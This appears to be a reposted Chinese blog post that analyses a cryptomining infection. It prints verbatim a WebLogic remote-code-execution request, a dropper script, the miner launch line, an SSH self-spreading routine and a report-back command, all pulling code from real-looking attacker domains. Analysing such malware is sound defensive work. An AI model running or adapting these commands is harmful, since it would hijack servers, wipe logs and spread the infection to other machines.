凶残的挖矿脚本,奴役我数千机器!
本文轉(zhuǎn)載自不正經(jīng)程序員
溫馨提示:本文中出現(xiàn)的命令和腳本,不要在自家服務(wù)器上隨便運(yùn)行,除非你知道自己在做什么。
挖礦是把機(jī)器當(dāng)作奴隸,一刻不停歇的去計(jì)算、運(yùn)轉(zhuǎn),本質(zhì)上是個(gè)無用的工作。但可惜的是,它能賺錢。用別人的機(jī)器去賺錢,更是很多人夢(mèng)寐以求的,所以挖礦腳本屢禁不止。
有錢的地方,就有技術(shù)。但反過來并不一定成立。
牢記這個(gè)準(zhǔn)則,就能夠心平氣和的學(xué)習(xí)新技術(shù),而不是氣急敗壞的糾結(jié)為啥沒錢。
1. 腳本從哪來?
下面是一個(gè)http的報(bào)文。
GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1Host: 20*.10*.8*.1*9:7001 #已脫敏User-Agent: curl/7.55.1Accept: */*Content-Type:application/x-www-form-urlencoded; charset=utf-8很簡單,waf防火墻攔截到相關(guān)包,一眼看上去就不正常。從關(guān)鍵字com.tangosol.coherence.mvel2.sh.ShellSession可以得知,這個(gè)請(qǐng)求,是想要利用Weblogic的遠(yuǎn)程代碼執(zhí)行漏洞。
這樣的漏洞有很多很多,數(shù)不勝數(shù),比如它可以通過redis進(jìn)入。我們不必關(guān)注這些漏洞,默認(rèn)它已經(jīng)利用成功了。我們只看挖礦腳本是怎么部署到你的機(jī)器上的。
在java中,當(dāng)然要調(diào)用它的Runtime類庫,如果你的應(yīng)用程序是運(yùn)行在root用戶的,那它什么事情都能干。
這就是為什么要求你線上部署的應(yīng)用,都用權(quán)限低一點(diǎn)的賬戶,比如xjjdog去運(yùn)行,而不是不要命的把root賬戶給開放。
exec函數(shù)帶了三個(gè)參數(shù)。
-
/bin/sh?意味著它要執(zhí)行一個(gè)shell腳本
-
-c?指明了要執(zhí)行的命令
-
export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash 首先輸出了一個(gè)全局環(huán)境變量,然后下載一個(gè)png文件
狡猾的人都喜歡帶面具,而狡猾的腳本都喜歡改后綴。看起來是個(gè)png,但它是個(gè)腳本。
2. 腳本怎么安裝的?
接下來摘下它的偽裝,看一下它的真面目。
curl?http://t.bb3u9.com/ln/core.png\?logic?>?core.png?查看core.png文件中的內(nèi)容。不錯(cuò),很長一段腳本。
#/bin/bash setenforce?0?2>/dev/null echo?SELINUX=disabled?>?/etc/sysconfig/selinux?2>/dev/null sync?&&?echo?3?>/proc/sys/vm/drop_caches murl1="http://t.bb3u9.com/ln/a.asp" murl2="http://t.jdjdcjq.top/ln/a.asp" cdate=$(date?"+%Y%m%d") guid=`echo?$(sudo?dmidecode?-t?4?|?grep?ID?|?sed?'s/.*ID://;s/?//g')?$(ifconfig?|?grep?-oP?'HWaddr?\K.*'|sed?'s/://g')|sha256sum|awk?'{print?$1}'` cmd1="export?gurl=$murl1?${src}_${cdate};(curl?-fsSL?\$gurl*`whoami`*\`hostname\`*${guid}||wget?-q?-O-?\$gurl*`whoami`*\`hostname\`*${guid})|bash" cmd2="export?gurl=$murl2?${src}_${cdate};(curl?-fsSL?\$gurl*`whoami`*\`hostname\`*${guid}||wget?-q?-O-?\$gurl*`whoami`*\`hostname\`*${guid})|bash" echo?"">/var/spool/cron/root echo?"">/var/spool/cron/crontabs/root if?[?"`whoami`"?==??"root"?];thencronpath=/etc/crontabXpath=/.Xl1 elsecronpath=/var/spool/cron/`whoami`Xpath=~/.Xl1 fi if?[?!?-d?"$Xpath"?];thenmkdir?$Xpathecho?"$[$RANDOM%60]?*?*?*?*?root?$cmd1"?>>?$cronpathecho?"$[$RANDOM%60]?*?*?*?*?root?$cmd2"?>>?$cronpathuname?-a|grep?x86_64?&&?echo?"$[$RANDOM%60]?*?*?*?*?root?ps?aux|grep?p.b69kq.com?|grep?-v?grep?||?$Xpath?-o?p.b69kq.com:444?--opencl?--donate-level=1?--nicehash?-B?--http-host=0.0.0.0?--http-port=65529?--opencl?--cuda"?>>?/etc/crontabexport?gurl=$murl1?${src}_${cdate};(curl?-fsSL?$gurl*`whoami`*`hostname`*${guid}||wget?-q?-O-?$gurl*`whoami`*`hostname`*${guid})|bashexport?gurl=$murl2?${src}_${cdate};(curl?-fsSL?$gurl*`whoami`*`hostname`*${guid}||wget?-q?-O-?$gurl*`whoami`*`hostname`*${guid})|bash fiecho?>?/var/spool/mail/root echo?>?/var/log/wtmp echo?>?/var/log/secure按照常規(guī),我們來一行行拆解它。
1)關(guān)掉selinux。setenforce 0是關(guān)閉的意思,2表示stderr,出錯(cuò)了不提示。接下來會(huì)通過寫配置文件的方式,永久性的禁止selinux。
setenforce?0?2>/dev/null echo?SELINUX=disabled?>?/etc/sysconfig/selinux?2>/dev/null2)很良心的幫助清理一下系統(tǒng)內(nèi)存
sync?&&?echo?3?>/proc/sys/vm/drop_caches3)構(gòu)造guid,對(duì)機(jī)器進(jìn)行標(biāo)識(shí)
guid=`echo?$(sudo?dmidecode?-t?4?|?grep?ID?|?sed?'s/.*ID://;s/?//g')?$(ifconfig?|?grep?-oP?'HWaddr?\K.*'|sed?'s/://g')|sha256sum|awk?'{print?$1}'`dmidecode命令,可以獲取linux硬件相關(guān)的信息,會(huì)輸出非常多的內(nèi)容。-t 4表示只獲取Process方面的內(nèi)容。然后過濾一下ID信息,使用sed命令截取并去掉空格。
ID:?57?06?05?00?FF?FB?8B?0F會(huì)變成。
57060500FFFB8B0F然后使用ifcongig命令獲取網(wǎng)卡硬件MAC信息。做同樣的處理后獲得另外一個(gè)串。這段腳本寫的稍微有點(diǎn)問題,因?yàn)閕fconfig的輸出經(jīng)常會(huì)改格式,但不影響計(jì)算hash。
sha256sum就是算出這樣一個(gè)hash,然后賦值給guid。比如下面這個(gè)。
786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c4)安裝定時(shí)任務(wù)到crontab中
腳本選擇了/.Xl1目錄作為真正的挖礦程序的存儲(chǔ)目錄。注意這三個(gè)字母,后面是l和1,并不是X桌面的配置目錄。在真正的腳本部分,我們可以看到下載的程序包地址是d.u78wjdu.com/ln/xr.zip。
5)我們?cè)賮砜匆幌孪螺d的鏈接是什么樣子的
cmd1="export?gurl=$murl1?${src}_${cdate};(curl?-fsSL?\$gurl*`whoami`*\`hostname\`*${guid}||wget?-q?-O-?\$gurl*`whoami`*\`hostname\`*${guid})|bash" cmd2="export?gurl=$murl2?${src}_${cdate};(curl?-fsSL?\$gurl*`whoami`*\`hostname\`*${guid}||wget?-q?-O-?\$gurl*`whoami`*\`hostname\`*${guid})|bash"其中,src變量是在一開始就設(shè)置的,我們依次來還原一下。
export?src=logic cdate=$(date?"+%Y%m%d") guid=`echo?$(sudo?dmidecode?-t?4?|?grep?ID?|?sed?'s/.*ID://;s/?//g')?$(ifconfig?|?grep?-oP?'HWaddr?\K.*'|sed?'s/://g')|sha256sum|awk?'{print?$1}'` gurl=$murl1?${src}_${cdate}最終會(huì)拼成下面的字符串,可以說該有的信息都有了,能夠區(qū)分出到底是哪一臺(tái)機(jī)器了。
url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c3. 真正的腳本是什么?
$RANDOM環(huán)境變量,是個(gè)神奇的環(huán)境變量。直接輸出的話,將會(huì)得到一個(gè)隨機(jī)值。cron腳本周期性的拉取最新的腳本執(zhí)行,把真正的挖礦程序部署起來。
關(guān)于真實(shí)腳本的介紹,xjjdog在另外一篇文章中有詳細(xì)的介紹。在這個(gè)場景下,最新的腳本就是http://t.bb3u9.com/ln/a.asp,依然是改后綴的障眼法。
這個(gè)腳本顯然比上面這篇文章介紹的要更加高級(jí)一些。腳本很長很長,就不貼了,你可以自己下載。它的主要意圖,是下載一個(gè)叫做xr的程序,然后在馬甲目錄.Xl1中運(yùn)行。xr程序才是挖礦的主要程序,其他的腳本,都是輔助它來運(yùn)行的。下面是最主要的運(yùn)行邏輯。
if?[?!?-d?"$Xpath"?];thenmkdir?$Xpath fi cd?$Xpath if?[?!?-f?"./xr"?];thenuname?-a|grep?x86_64?&&?(curl?-fsSL?d.u78wjdu.com/ln/xr.zip||wget?-q?-O-?d.u78wjdu.com/ln/xr.zip)>xr.zip?&&?tar?xf?xr.zip?&&?rm?xr.zip fi uname?-a|grep?x86_64?&&?ps?aux|grep?p.b69kq.com?|grep?-v?grep?||?./xr?-o?p.b69kq.com:444?--opencl?--donate-level=1?--nicehash?-B?--http-host=0.0.0.0?--http-port=65529?--opencl?--cuda要保證腳本的安全,怎么能少得了chattr命令。很多人遇見加了i參數(shù)的文件,不能被刪除,就傻眼了。其實(shí)是可以通過-i參數(shù)去掉這個(gè)屬性的。
chattr?-iua?/tmp/ chattr?-iua?/var/tmp/ chattr?-R?-i?/var/spool/cron chattr?-i?/etc/crontab腳本還會(huì)通過nc命令,拷貝rsa公鑰到你的每個(gè)用戶目錄下面,把你做成事實(shí)上的肉雞,實(shí)現(xiàn)免密登錄。關(guān)于nc這把瑞士軍刀,我們也有過介紹。
for?file?in?/home/* doif?test?-d?$file;?thenif?[?-f?$file/.ssh/known_hosts?]?&&?[?-f?$file/.ssh/id_rsa.pub?];?thenfor?h?in?$(grep?-oE?"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"?$file/.ssh/known_hosts);?do?echo?exit?|nc?-w?1?-n?-v?$h?65529?&&?ssh?-oBatchMode=yes?-oConnectTimeout=5?-oStrictHostKeyChecking=no?$h?'export?src=sshcopy;(curl?-fsSL?http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget?-q?-O-?http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash?>/dev/null?2>&1?&'?&?donefifi done這份腳本,還會(huì)病毒式的傳播。localgo函數(shù),通過從你的ps進(jìn)程,history文件,還有hosts配置,拿到用戶列表、主機(jī)列表端口、rsa密鑰等,就可以批量的去嘗試登錄并傳播這份腳本。當(dāng)然,上面的xr程序會(huì)監(jiān)聽65529的端口,如果判斷主機(jī)已經(jīng)中招了,就不再繼續(xù)探測(cè)。
能用65529這個(gè)端口,本身就夠騷氣的了,有幾臺(tái)機(jī)器能夠達(dá)到上限65535呢?
localgo()?{i=0for?user?in?$userlist;?dofor?host?in?$hostlist;?dofor?key?in?$keylist;?dofor?sshp?in?$sshports;?doi=$((i+1))if?[?"${i}"?-eq?"20"?];?thensleep?20ps?wx?|?grep?"ssh?-o"?|?awk?'{print?$1}'?|?xargs?kill?-9?&>/dev/null?&i=0fi#Wait?20?seconds?after?every?20?attempts?and?clean?up?hanging?processeschmod?+r?$keychmod?400?$keyecho?"$user@$host?$key?$sshp"echo?exit?|nc?-w?1?-n?-v?$host?65529?&&??ssh?-oStrictHostKeyChecking=no?-oBatchMode=yes?-oConnectTimeout=5?-i?$key?$user@$host?-p$sshp?"export?src=sshcopy;(curl?-fsSL?http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget?-q?-O-?http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash?>/dev/null?2>&1?&"donedonedonedone }最后,腳本還不忘匯報(bào)一下,形成完美的閉環(huán)。
reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip} (curl?-fsSL?$reurl||wget?-q?-O-?$reurl)|bash4. End
如果你發(fā)現(xiàn)你的機(jī)器不明原因發(fā)熱,務(wù)必排查一下有沒有挖礦程序。雖然你的服務(wù)器擺在那里也沒什么用,但用著你的電費(fèi),收益卻給別人,相信你一定會(huì)嫉妒的要命。那么別猶豫,kill -9送給它,別忘了清理cron。
重裝是我們的秘密武器,僅次于重啟。嫌麻煩的話,就這么干吧!
總結(jié)
以上是生活随笔為你收集整理的凶残的挖矿脚本,奴役我数千机器!的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 来不及细说,毕业三天靠Python兼职赚
- 下一篇: 青蛙的眼睛